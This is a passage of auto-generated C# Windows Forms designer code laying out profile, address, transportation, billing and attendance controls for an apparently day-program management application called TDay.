System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); this.label47.ForeColor = System.Drawing.Color.DimGray; this.label47.Location = new System.Drawing.Point(7, 142); this.label47.Name = "label47"; this.label47.Size = new System.Drawing.Size(69, 21); this.label47.TabIndex = 18; this.label47.Text = "Phone :"; // // textBox_BoardPostal // this.textBox_BoardPostal.Font = new System.Drawing.Font("Elephant", 12F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); this.textBox_BoardPostal.ForeColor = System.Drawing.Color.DimGray; this.textBox_BoardPostal.Location = new System.Drawing.Point(158, 103); this.textBox_BoardPostal.Name = "textBox_BoardPostal"; this.textBox_BoardPostal.Size = new System.Drawing.Size(200, 28); this.textBox_BoardPostal.TabIndex = 23; // // textBox_BoardCity // this.textBox_BoardCity.Font = new System.Drawing.Font("Elephant", 12F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); this.textBox_BoardCity.ForeColor = System.Drawing.Color.DimGray; this.textBox_BoardCity.Location = new System.Drawing.Point(501, 30); this.textBox_BoardCity.Name = "textBox_BoardCity"; this.textBox_BoardCity.Size = new System.Drawing.Size(200, 28); this.textBox_BoardCity.TabIndex = 22; // // label51 // this.label51.AutoSize = true; this.label51.Font = new System.Drawing.Font("Elephant", 12F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); this.label51.ForeColor = System.Drawing.Color.DimGray; this.label51.Location = new System.Drawing.Point(6, 106); this.label51.Name = "label51"; this.label51.Size = new System.Drawing.Size(113, 21); this.label51.TabIndex = 21; this.label51.Text = "Postal Code :"; // // label52 // this.label52.AutoSize = true; this.label52.Font = new System.Drawing.Font("Elephant", 12F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); this.label52.ForeColor = System.Drawing.Color.DimGray; this.label52.Location = new System.Drawing.Point(6, 33); this.label52.Name = "label52"; this.label52.Size = new System.Drawing.Size(83, 21); this.label52.TabIndex = 12; this.label52.Text = "Address :"; // // textBox_BoardAdress // this.textBox_BoardAdress.Font = new System.Drawing.Font("Elephant", 12F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); this.textBox_BoardAdress.ForeColor = System.Drawing.Color.DimGray; this.textBox_BoardAdress.Location = new System.Drawing.Point(158, 30); this.textBox_BoardAdress.Name = "textBox_BoardAdress"; this.textBox_BoardAdress.Size = new System.Drawing.Size(200, 28); this.textBox_BoardAdress.TabIndex = 16; // // textBox_BoardProvince // this.textBox_BoardProvince.Font = new System.Drawing.Font("Elephant", 12F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); this.textBox_BoardProvince.ForeColor = System.Drawing.Color.DimGray; this.textBox_BoardProvince.Location = new System.Drawing.Point(158, 67); this.textBox_BoardProvince.Name = "textBox_BoardProvince"; this.textBox_BoardProvince.Size = new System.Drawing.Size(200, 28); this.textBox_BoardProvince.TabIndex = 18; // // textBox_BoardCountry // this.textBox_BoardCountry.Font = new System.Drawing.Font("Elephant", 12F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); this.textBox_BoardCountry.ForeColor = System.Drawing.Color.DimGray; this.textBox_BoardCountry.Location = new System.Drawing.Point(501, 67); this.textBox_BoardCountry.Name = "textBox_BoardCountry"; this.textBox_BoardCountry.Size = new System.Drawing.Size(200, 28); this.textBox_BoardCountry.TabIndex = 19; // // label53 // this.label53.AutoSize = true; this.label53.Font = new System.Drawing.Font("Elephant", 12F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); this.label53.ForeColor = System.Drawing.Color.DimGray; this.label53.Location = new System.Drawing.Point(6, 70); this.label53.Name = "label53"; this.label53.Size = new System.Drawing.Size(89, 21); this.label53.TabIndex = 14; this.label53.Text = "Province :"; // // label54 // this.label54.AutoSize = true; this.label54.Font = new System.Drawing.Font("Elephant", 12F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); this.label54.ForeColor = System.Drawing.Color.DimGray; this.label54.Location = new System.Drawing.Point(364, 33); this.label54.Name = "label54"; this.label54.Size = new System.Drawing.Size(51, 21); this.label54.TabIndex = 13; this.label54.Text = "City :"; // // label55 // this.label55.AutoSize = true; this.label55.Font = new System.Drawing.Font("Elephant", 12F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); this.label55.ForeColor = System.Drawing.Color.DimGray; this.label55.Location = new System.Drawing.Point(364, 70); this.label55.Name = "label55"; this.label55.Size = new System.Drawing.Size(83, 21); this.label55.TabIndex = 15; this.label55.Text = "Country :"; // // groupBox13 // this.groupBox13.Controls.Add(this.label48); this.groupBox13.Controls.Add(this.label49); this.groupBox13.Controls.Add(this.textBox_BoardName); this.groupBox13.Controls.Add(this.label50); this.groupBox13.Controls.Add(this.textBox_BoardBirth); this.groupBox13.Controls.Add(this.textBox_BoardOccupation); this.groupBox13.Font = new System.Drawing.Font("Elephant", 12F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); this.groupBox13.ForeColor = System.Drawing.Color.DarkGray; this.groupBox13.Location = new System.Drawing.Point(6, 6); this.groupBox13.Name = "groupBox13"; this.groupBox13.Size = new System.Drawing.Size(712, 107); this.groupBox13.TabIndex = 36; this.groupBox13.TabStop = false; this.groupBox13.Text = "Profile"; // // label48 // this.label48.AutoSize = true; this.label48.Font = new System.Drawing.Font("Elephant", 12F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); this.label48.ForeColor = System.Drawing.Color.DimGray; this.label48.Location = new System.Drawing.Point(357, 69); this.label48.Name = "label48"; this.label48.Size = new System.Drawing.Size(111, 21); this.label48.TabIndex = 23; this.label48.Text = "Occupation :"; // // label49 // this.label49.AutoSize = true; this.label49.Font = new System.Drawing.Font("Elephant", 12F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); this.label49.ForeColor = System.Drawing.Color.DimGray; this.label49.Location = new System.Drawing.Point(6, 34); this.label49.Name = "label49"; this.label49.Size = new System.Drawing.Size(61, 21); this.label49.TabIndex = 2; this.label49.Text = "Name:"; // // textBox_BoardName // this.textBox_BoardName.Font = new System.Drawing.Font("Elephant", 12F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); this.textBox_BoardName.ForeColor = System.Drawing.Color.DimGray; this.textBox_BoardName.Location = new System.Drawing.Point(158, 27); this.textBox_BoardName.Name = "textBox_BoardName"; this.textBox_BoardName.Size = new System.Drawing.Size(511, 28); this.textBox_BoardName.TabIndex = 7; // // label50 // this.label50.AutoSize = true; this.label50.Font = new System.Drawing.Font("Elephant", 12F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); this.label50.ForeColor = System.Drawing.Color.DimGray; this.label50.Location = new System.Drawing.Point(6, 69); this.label50.Name = "label50"; this.label50.Size = new System.Drawing.Size(123, 21); this.label50.TabIndex = 3; this.label50.Text = "Date of Birth :"; // // textBox_BoardBirth // this.textBox_BoardBirth.Font = new System.Drawing.Font("Elephant", 12F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); this.textBox_BoardBirth.ForeColor = System.Drawing.Color.DimGray; this.textBox_BoardBirth.Location = new System.Drawing.Point(158, 66); this.textBox_BoardBirth.Name = "textBox_BoardBirth"; this.textBox_BoardBirth.Size = new System.Drawing.Size(200, 28); this.textBox_BoardBirth.TabIndex = 8; this.textBox_BoardBirth.TextChanged += new System.EventHandler(this.textBox_BoardBirth_TextChanged); // // textBox_BoardOccupation // this.textBox_BoardOccupation.Font = new System.Drawing.Font("Elephant", 12F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); this.textBox_BoardOccupation.ForeColor = System.Drawing.Color.DimGray; this.textBox_BoardOccupation.Location = new System.Drawing.Point(469, 66); this.textBox_BoardOccupation.Name = "textBox_BoardOccupation"; this.textBox_BoardOccupation.Size = new System.Drawing.Size(200, 28); this.textBox_BoardOccupation.TabIndex = 11; // // OtherTab // this.OtherTab.BackColor = System.Drawing.SystemColors.Control; this.OtherTab.Controls.Add(this.groupBox15); this.OtherTab.Controls.Add(this.groupBox16); this.OtherTab.Location = new System.Drawing.Point(4, 22); this.OtherTab.Name = "OtherTab"; this.OtherTab.Size = new System.Drawing.Size(719, 789); this.OtherTab.TabIndex = 4; this.OtherTab.Text = "tabPage2"; // // groupBox15 // this.groupBox15.Controls.Add(this.textBox55); this.groupBox15.Controls.Add(this.label56); this.groupBox15.Controls.Add(this.textBox56); this.groupBox15.Controls.Add(this.label57); this.groupBox15.Controls.Add(this.textBox57); this.groupBox15.Controls.Add(this.label58); this.groupBox15.Controls.Add(this.textBox58); this.groupBox15.Controls.Add(this.textBox59); this.groupBox15.Controls.Add(this.label59); this.groupBox15.Controls.Add(this.label60); this.groupBox15.Controls.Add(this.textBox60); this.groupBox15.Controls.Add(this.textBox61); this.groupBox15.Controls.Add(this.textBox62); this.groupBox15.Controls.Add(this.label61); this.groupBox15.Controls.Add(this.label62); this.groupBox15.Controls.Add(this.label63); this.groupBox15.Font = new System.Drawing.Font("Elephant", 12F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); this.groupBox15.ForeColor = System.Drawing.Color.DarkGray; this.groupBox15.Location = new System.Drawing.Point(6, 119); this.groupBox15.Name = "groupBox15"; this.groupBox15.Size = new System.Drawing.Size(712, 184); this.groupBox15.TabIndex = 40; this.groupBox15.TabStop = false; this.groupBox15.Text = "Adress"; // // textBox55 // this.textBox55.Font = new System.Drawing.Font("Elephant", 12F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); this.textBox55.ForeColor = System.Drawing.Color.DimGray; this.textBox55.Location = new System.Drawing.Point(500, 103); this.textBox55.Name = "textBox55"; this.textBox55.Size = new System.Drawing.Size(200, 28); this.textBox55.TabIndex = 28; // // label56 // this.label56.AutoSize = true; this.label56.Font = new System.Drawing.Font("Elephant", 12F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); this.label56.ForeColor = System.Drawing.Color.DimGray; this.label56.Location = new System.Drawing.Point(366, 106); this.label56.Name = "label56"; this.label56.Size = new System.Drawing.Size(50, 21); this.label56.TabIndex = 27; this.label56.Text = "Cell :"; // // textBox56 // this.textBox56.Font = new System.Drawing.Font("Elephant", 12F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); this.textBox56.ForeColor = System.Drawing.Color.DimGray; this.textBox56.Location = new System.Drawing.Point(501, 139); this.textBox56.Name = "textBox56"; this.textBox56.Size = new System.Drawing.Size(200, 28); this.textBox56.TabIndex = 26; // // label57 // this.label57.AutoSize = true; this.label57.Font = new System.Drawing.Font("Elephant", 12F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); this.label57.ForeColor = System.Drawing.Color.DimGray; this.label57.Location = new System.Drawing.Point(364, 142); this.label57.Name = "label57"; this.label57.Size = new System.Drawing.Size(67, 21); this.label57.TabIndex = 25; this.label57.Text = "Email :"; // // textBox57 // this.textBox57.Font = new System.Drawing.Font("Elephant", 12F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); this.textBox57.ForeColor = System.Drawing.Color.DimGray; this.textBox57.Location = new System.Drawing.Point(158, 139); this.textBox57.Name = "textBox57"; this.textBox57.Size = new System.Drawing.Size(200, 28); this.textBox57.TabIndex = 24; // // label58 // this.label58.AutoSize = true; this.label58.Font = new System.Drawing.Font("Elephant", 12F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); this.label58.ForeColor = System.Drawing.Color.DimGray; this.label58.Location = new System.Drawing.Point(7, 142); this.label58.Name = "label58"; this.label58.Size = new System.Drawing.Size(69, 21); this.label58.TabIndex = 18; this.label58.Text = "Phone :"; // // textBox58 // this.textBox58.Font = new System.Drawing.Font("Elephant", 12F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); this.textBox58.ForeColor = System.Drawing.Color.DimGray; this.textBox58.Location = new System.Drawing.Point(158, 103); this.textBox58.Name = "textBox58"; this.textBox58.Size = new System.Drawing.Size(200, 28); this.textBox58.TabIndex = 23; // // textBox59 // this.textBox59.Font = new System.Drawing.Font("Elephant", 12F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); this.textBox59.ForeColor = System.Drawing.Color.DimGray; this.textBox59.Location = new System.Drawing.Point(501, 30); this.textBox59.Name = "textBox59"; this.textBox59.Size = new System.Drawing.Size(200, 28); this.textBox59.TabIndex = 22; // // label59 // this.label59.AutoSize = true; this.label59.Font = new System.Drawing.Font("Elephant", 12F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); this.label59.ForeColor = System.Drawing.Color.DimGray; this.label59.Location = new System.Drawing.Point(6, 106); this.label59.Name = "label59"; this.label59.Size = new System.Drawing.Size(113, 21); this.label59.TabIndex = 21; this.label59.Text = "Postal Code :"; // // label60 // this.label60.AutoSize = true; this.label60.Font = new System.Drawing.Font("Elephant", 12F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); this.label60.ForeColor = System.Drawing.Color.DimGray; this.label60.Location = new System.Drawing.Point(6, 33); this.label60.Name = "label60"; this.label60.Size = new System.Drawing.Size(83, 21); this.label60.TabIndex = 12; this.label60.Text = "Address :"; // // textBox60 // this.textBox60.Font = new System.Drawing.Font("Elephant", 12F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); this.textBox60.ForeColor = System.Drawing.Color.DimGray; this.textBox60.Location = new System.Drawing.Point(158, 30); this.textBox60.Name = "textBox60"; this.textBox60.Size = new System.Drawing.Size(200, 28); this.textBox60.TabIndex = 16; // // textBox61 // this.textBox61.Font = new System.Drawing.Font("Elephant", 12F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); this.textBox61.ForeColor = System.Drawing.Color.DimGray; this.textBox61.Location = new System.Drawing.Point(158, 67); this.textBox61.Name = "textBox61"; this.textBox61.Size = new System.Drawing.Size(200, 28); this.textBox61.TabIndex = 18; // // textBox62 // this.textBox62.Font = new System.Drawing.Font("Elephant", 12F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); this.textBox62.ForeColor = System.Drawing.Color.DimGray; this.textBox62.Location = new System.Drawing.Point(501, 67); this.textBox62.Name = "textBox62"; this.textBox62.Size = new System.Drawing.Size(200, 28); this.textBox62.TabIndex = 19; // // label61 // this.label61.AutoSize = true; this.label61.Font = new System.Drawing.Font("Elephant", 12F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); this.label61.ForeColor = System.Drawing.Color.DimGray; this.label61.Location = new System.Drawing.Point(6, 70); this.label61.Name = "label61"; this.label61.Size = new System.Drawing.Size(89, 21); this.label61.TabIndex = 14; this.label61.Text = "Province :"; // // label62 // this.label62.AutoSize = true; this.label62.Font = new System.Drawing.Font("Elephant", 12F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); this.label62.ForeColor = System.Drawing.Color.DimGray; this.label62.Location = new System.Drawing.Point(364, 33); this.label62.Name = "label62"; this.label62.Size = new System.Drawing.Size(51, 21); this.label62.TabIndex = 13; this.label62.Text = "City :"; // // label63 // this.label63.AutoSize = true; this.label63.Font = new System.Drawing.Font("Elephant", 12F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); this.label63.ForeColor = System.Drawing.Color.DimGray; this.label63.Location = new System.Drawing.Point(364, 70); this.label63.Name = "label63"; this.label63.Size = new System.Drawing.Size(83, 21); this.label63.TabIndex = 15; this.label63.Text = "Country :"; // // groupBox16 // this.groupBox16.Controls.Add(this.label65); this.groupBox16.Controls.Add(this.textBox63); this.groupBox16.Controls.Add(this.label66); this.groupBox16.Controls.Add(this.textBox64); this.groupBox16.Font = new System.Drawing.Font("Elephant", 12F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); this.groupBox16.ForeColor = System.Drawing.Color.DarkGray; this.groupBox16.Location = new System.Drawing.Point(6, 6); this.groupBox16.Name = "groupBox16"; this.groupBox16.Size = new System.Drawing.Size(712, 107); this.groupBox16.TabIndex = 39; this.groupBox16.TabStop = false; this.groupBox16.Text = "Profile"; // // label65 // this.label65.AutoSize = true; this.label65.Font = new System.Drawing.Font("Elephant", 12F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); this.label65.ForeColor = System.Drawing.Color.DimGray; this.label65.Location = new System.Drawing.Point(6, 34); this.label65.Name = "label65"; this.label65.Size = new System.Drawing.Size(61, 21); this.label65.TabIndex = 2; this.label65.Text = "Name:"; // // textBox63 // this.textBox63.Font = new System.Drawing.Font("Elephant", 12F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); this.textBox63.ForeColor = System.Drawing.Color.DimGray; this.textBox63.Location = new System.Drawing.Point(158, 27); this.textBox63.Name = "textBox63"; this.textBox63.Size = new System.Drawing.Size(511, 28); this.textBox63.TabIndex = 7; // // label66 // this.label66.AutoSize = true; this.label66.Font = new System.Drawing.Font("Elephant", 12F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); this.label66.ForeColor = System.Drawing.Color.DimGray; this.label66.Location = new System.Drawing.Point(6, 69); this.label66.Name = "label66"; this.label66.Size = new System.Drawing.Size(123, 21); this.label66.TabIndex = 3; this.label66.Text = "Date of Birth :"; // // textBox64 // this.textBox64.Font = new System.Drawing.Font("Elephant", 12F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); this.textBox64.ForeColor = System.Drawing.Color.DimGray; this.textBox64.Location = new System.Drawing.Point(158, 66); this.textBox64.Name = "textBox64"; this.textBox64.Size = new System.Drawing.Size(200, 28); this.textBox64.TabIndex = 8; // // toolStrip1 // this.toolStrip1.BackColor = System.Drawing.SystemColors.Control; this.toolStrip1.GripMargin = new System.Windows.Forms.Padding(0); this.toolStrip1.GripStyle = System.Windows.Forms.ToolStripGripStyle.Hidden; this.toolStrip1.Items.AddRange(new System.Windows.Forms.ToolStripItem[] { this.toolStripButton1}); this.toolStrip1.Location = new System.Drawing.Point(0, 0); this.toolStrip1.Name = "toolStrip1"; this.toolStrip1.RenderMode = System.Windows.Forms.ToolStripRenderMode.System; this.toolStrip1.Size = new System.Drawing.Size(1089, 37); this.toolStrip1.TabIndex = 0; this.toolStrip1.Text = "toolStrip1"; // // toolStripButton1 // this.toolStripButton1.Font = new System.Drawing.Font("Elephant", 12F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); this.toolStripButton1.ForeColor = System.Drawing.Color.DarkGray; this.toolStripButton1.Image = global::TDay.Properties.Resources.AddButton; this.toolStripButton1.ImageScaling = System.Windows.Forms.ToolStripItemImageScaling.None; this.toolStripButton1.ImageTransparentColor = System.Drawing.Color.Magenta; this.toolStripButton1.Name = "toolStripButton1"; this.toolStripButton1.Size = new System.Drawing.Size(166, 34); this.toolStripButton1.Text = "Add new profile"; this.toolStripButton1.Click += new System.EventHandler(this.toolStripButton1_Click); // // Transportation // this.Transportation.Location = new System.Drawing.Point(4, 22); this.Transportation.Name = "Transportation"; this.Transportation.Size = new System.Drawing.Size(1089, 726); this.Transportation.TabIndex = 2; this.Transportation.Text = "Transportation"; this.Transportation.UseVisualStyleBackColor = true; // // Bills // this.Bills.Location = new System.Drawing.Point(4, 22); this.Bills.Name = "Bills"; this.Bills.Size = new System.Drawing.Size(1089, 726); this.Bills.TabIndex = 3; this.Bills.Text = "Bills"; this.Bills.UseVisualStyleBackColor = true; // // toolStrip4 // this.toolStrip4.Location = new System.Drawing.Point(0, 0); this.toolStrip4.Name = "toolStrip4"; this.toolStrip4.Size = new System.Drawing.Size(1273, 25); this.toolStrip4.TabIndex = 6; this.toolStrip4.Text = "toolStrip4"; // // profilesTableAdapter // this.profilesTableAdapter.ClearBeforeFill = true; // // categoriesTableAdapter // this.categoriesTableAdapter.ClearBeforeFill = true; // // daysBindingSource // this.daysBindingSource.DataMember = "Days"; this.daysBindingSource.DataSource = this.tDayDataSet; // // daysTableAdapter // this.daysTableAdapter.ClearBeforeFill = true; // // AddProfileErrorProvider // this.AddProfileErrorProvider.ContainerControl = this; // // toolTip1 // this.toolTip1.ToolTipIcon = System.Windows.Forms.ToolTipIcon.Error; // // profileIdDataGridViewTextBoxColumn1 // this.profileIdDataGridViewTextBoxColumn1.DataPropertyName = "ProfileId"; this.profileIdDataGridViewTextBoxColumn1.DataSource = this.profilesBindingSource; this.profileIdDataGridViewTextBoxColumn1.DisplayMember = "Name"; this.profileIdDataGridViewTextBoxColumn1.DisplayStyle = System.Windows.Forms.DataGridViewComboBoxDisplayStyle.Nothing; this.profileIdDataGridViewTextBoxColumn1.HeaderText = "Name"; this.profileIdDataGridViewTextBoxColumn1.Name = "profileIdDataGridViewTextBoxColumn1"; this.profileIdDataGridViewTextBoxColumn1.Resizable = System.Windows.Forms.DataGridViewTriState.True; this.profileIdDataGridViewTextBoxColumn1.SortMode = System.Windows.Forms.DataGridViewColumnSortMode.Automatic; this.profileIdDataGridViewTextBoxColumn1.ValueMember = "ProfileId"; this.profileIdDataGridViewTextBoxColumn1.Width = 200; // // attendanceDataGridViewCheckBoxColumn // this.attendanceDataGridViewCheckBoxColumn.DataPropertyName = "Attendance"; this.attendanceDataGridViewCheckBoxColumn.FalseValue = "false"; this.attendanceDataGridViewCheckBoxColumn.HeaderText = "A"; this.attendanceDataGridViewCheckBoxColumn.IndeterminateValue = "null"; this.attendanceDataGridViewCheckBoxColumn.Name = "attendanceDataGridViewCheckBoxColumn"; this.attendanceDataGridViewCheckBoxColumn.ReadOnly = true; this.attendanceDataGridViewCheckBoxColumn.TrueValue = "true"; this.attendanceDataGridViewCheckBoxColumn.Width = 40; // // lunchDataGridViewCheckBoxColumn // this.lunchDataGridViewCheckBoxColumn.DataPropertyName = "Lunch"; this.lunchDataGridViewCheckBoxColumn.FalseValue = "false"; this.lunchDataGridViewCheckBoxColumn.HeaderText = "LC"; this.lunchDataGridViewCheckBoxColumn.IndeterminateValue = "null"; this.lunchDataGridViewCheckBoxColumn.Name = "lunchDataGridViewCheckBoxColumn"; this.lunchDataGridViewCheckBoxColumn.ReadOnly = true; this.lunchDataGridViewCheckBoxColumn.TrueValue = "true"; this.lunchDataGridViewCheckBoxColumn.Width = 40; // // lunchPriceDataGridViewTextBoxColumn // this.lunchPriceDataGridViewTextBoxColumn.DataPropertyName = "LunchPrice"; this.lunchPriceDataGridViewTextBoxColumn.HeaderText = "L$"; this.lunchPriceDataGridViewTextBoxColumn.Name = "lunchPriceDataGridViewTextBoxColumn"; // // takeOutPriceDataGridViewTextBoxColumn // this.takeOutPriceDataGridViewTextBoxColumn.DataPropertyName = "TakeOutPrice"; this.takeOutPriceDataGridViewTextBoxColumn.HeaderText = "TO$"; this.takeOutPriceDataGridViewTextBoxColumn.Name = "takeOutPriceDataGridViewTextBoxColumn"; // // miscellaneousPriceDataGridViewTextBoxColumn // this.miscellaneousPriceDataGridViewTextBoxColumn.DataPropertyName = "MiscellaneousPrice"; this.miscellaneousPriceDataGridViewTextBoxColumn.HeaderText = "Miso$"; this.miscellaneousPriceDataGridViewTextBoxColumn.Name = "miscellaneousPriceDataGridViewTextBoxColumn"; // // vanPriceDataGridViewTextBoxColumn // this.vanPriceDataGridViewTextBoxColumn.DataPropertyName = "VanPrice"; this.vanPriceDataGridViewTextBoxColumn.HeaderText = "Van"; this.vanPriceDataGridViewTextBoxColumn.Name = "vanPriceDataGridViewTextBoxColumn"; // // roundTripPriceDataGridViewTextBoxColumn // this.roundTripPriceDataGridViewTextBoxColumn.DataPropertyName = "RoundTripPrice"; this.roundTripPriceDataGridViewTextBoxColumn.HeaderText = "RT"; this.roundTripPriceDataGridViewTextBoxColumn.Name = "roundTripPriceDataGridViewTextBoxColumn"; // // bookOfTicketsDataGridViewTextBoxColumn // this.bookOfTicketsDataGridViewTextBoxColumn.DataPropertyName = "BookOfTickets"; this.bookOfTicketsDataGridViewTextBoxColumn.HeaderText = "BFT"; this.bookOfTicketsDataGridViewTextBoxColumn.Name = "bookOfTicketsDataGridViewTextBoxColumn"; // // Total // this.Total.DataPropertyName = "Total"; this.Total.HeaderText = "Total"; this.Total.Name = "Total"; this.Total.ReadOnly = true; // // commentsDataGridViewTextBoxColumn // this.commentsDataGridViewTextBoxColumn.DataPropertyName = "Comments"; this.commentsDataGridViewTextBoxColumn.HeaderText = "Comments"; this.commentsDataGridViewTextBoxColumn.Name = "commentsDataGridViewTextBoxColumn"; // // dayIdDataGridViewTextBoxColumn // this.dayIdDataGridViewTextBoxColumn.DataPropertyName = "DayId"; this.dayIdDataGridViewTextBoxColumn.HeaderText = "DayId"; this.dayIdDataGridViewTextBoxColumn.Name = "dayIdDataGridViewTextBoxColumn"; this.dayIdDataGridViewTextBoxColumn.ReadOnly = true; this.dayIdDataGridViewTextBoxColumn.Visible = false; // // dateDataGridViewTextBoxColumn // this.dateDataGridViewTextBoxColumn.DataPropertyName = "Date"; this.dateDataGridViewTextBoxColumn.HeaderText = "Date"; this.dateDataGridViewTextBoxColumn.Name = "dateDataGridViewTextBoxColumn"; this.dateDataGridViewTextBoxColumn.Visible = false; // // MainFrame // this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 13F); this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; this.AutoScroll = true; this.ClientSize = new System.Drawing.Size(1273, 782); this.Controls.Add(this.toolStrip4); this.Controls.Add(this.panel2); this.Controls.Add(this.panel1); this.Name = "MainFrame"; this.StartPosition = System.Windows.Forms.FormStartPosition.CenterScreen; this.Text = "MainFrame"; this.WindowState = System.Windows.Forms.FormWindowState.Maximized; this.Load += new System.EventHandler(this.MainFrame_Load); this.panel1.ResumeLayout(false); this.panel2.ResumeLayout(false); this.tabControl1.ResumeLayout(false); this.Attendance.ResumeLayout(false); this.splitContainer2.Panel1.ResumeLayout(false); this.splitContainer2.Panel1.PerformLayout(); this.splitContainer2.Panel2.ResumeLayout(false); this.splitContainer2.ResumeLayout(false); ((System.ComponentModel.ISupportInitialize)(this.dataGridView2)).EndInit(); ((System.ComponentModel.ISupportInitialize)(this.profilesBindingSource)).EndInit(); ((System.ComponentModel.ISupportInitialize)(this.tDayDataSet)).EndInit(); ((System.ComponentModel.ISupportInitialize)(this.daysBindingSource1)).EndInit(); this.toolStrip7.ResumeLayout(false); this.toolStrip7.PerformLayout(); this.panel4.ResumeLayout(false); this.panel4.PerformLayout(); this.Profiles.ResumeLayout(false); this.Profiles.PerformLayout(); this.splitContainer1.Panel1.ResumeLayout(false); this.splitContainer1.Panel1.PerformLayout(); this.splitContainer1.Panel2.ResumeLayout(false); this.splitContainer1.ResumeLayout(false); ((System.ComponentModel.ISupportInitialize)(this.dataGridView1)).EndInit(); ((System.ComponentModel.ISupportInitialize)(this.categoriesBindingSource)).EndInit(); this.toolStrip6.ResumeLayout(false); this.toolStrip6.PerformLayout(); this.toolStrip5.ResumeLayout(false); this.toolStrip5.PerformLayout(); this.toolStrip3.ResumeLayout(false); this.toolStrip3.PerformLayout(); this.tabControl2.ResumeLayout(false); this.ClientTab.ResumeLayout(false); this.groupBox1.ResumeLayout(false); this.groupBox1.PerformLayout(); this.groupBox5.ResumeLayout(false); this.groupBox5.PerformLayout(); this.groupBox4.ResumeLayout(false); this.groupBox4.PerformLayout(); this.groupBox3.ResumeLayout(false); this.groupBox3.PerformLayout(); this.panel3.ResumeLayout(false); this.panel3.PerformLayout(); this.toolStrip2.ResumeLayout(false); this.toolStrip2.PerformLayout(); this.groupBox2.ResumeLayout(false); this.groupBox2.PerformLayout(); this.EmployeeTab.ResumeLayout(false); this.groupBox8.ResumeLayout(false); this.groupBox8.PerformLayout(); this.groupBox18.ResumeLayout(false); this.groupBox18.PerformLayout(); this.groupBox6.ResumeLayout(false); this.groupBox6.PerformLayout(); this.groupBox7.ResumeLayout(false); this.groupBox7.PerformLayout(); this.VolunteerTab.ResumeLayout(false); this.groupBox12.ResumeLayout(false); this.groupBox12.PerformLayout(); this.groupBox11.ResumeLayout(false); this.groupBox11.PerformLayout(); this.groupBox10.ResumeLayout(false); this.groupBox10.PerformLayout(); this.groupBox9.ResumeLayout(false); this.groupBox9.PerformLayout(); this.Board_MemberTab.ResumeLayout(false); this.groupBox14.ResumeLayout(false); this.groupBox14.PerformLayout(); this.groupBox13.ResumeLayout(false); this.groupBox13.PerformLayout(); this.OtherTab.ResumeLayout(false); this.groupBox15.ResumeLayout(false); this.groupBox15.PerformLayout(); this.groupBox16.ResumeLayout(false); this.groupBox16.PerformLayout(); this.toolStrip1.ResumeLayout(false); this.toolStrip1.PerformLayout(); ((System.ComponentModel.ISupportInitialize)(this.daysBindingSource)).EndInit(); ((System.ComponentModel.ISupportInitialize)(this.AddProfileErrorProvider)).EndInit(); this.ResumeLayout(false); this.PerformLayout(); } #endregion private System.Windows.Forms.Panel panel1; private System.Windows.Forms.Button button4; private System.Windows.Forms.Button button3; private System.Windows.Forms.Button button2; private 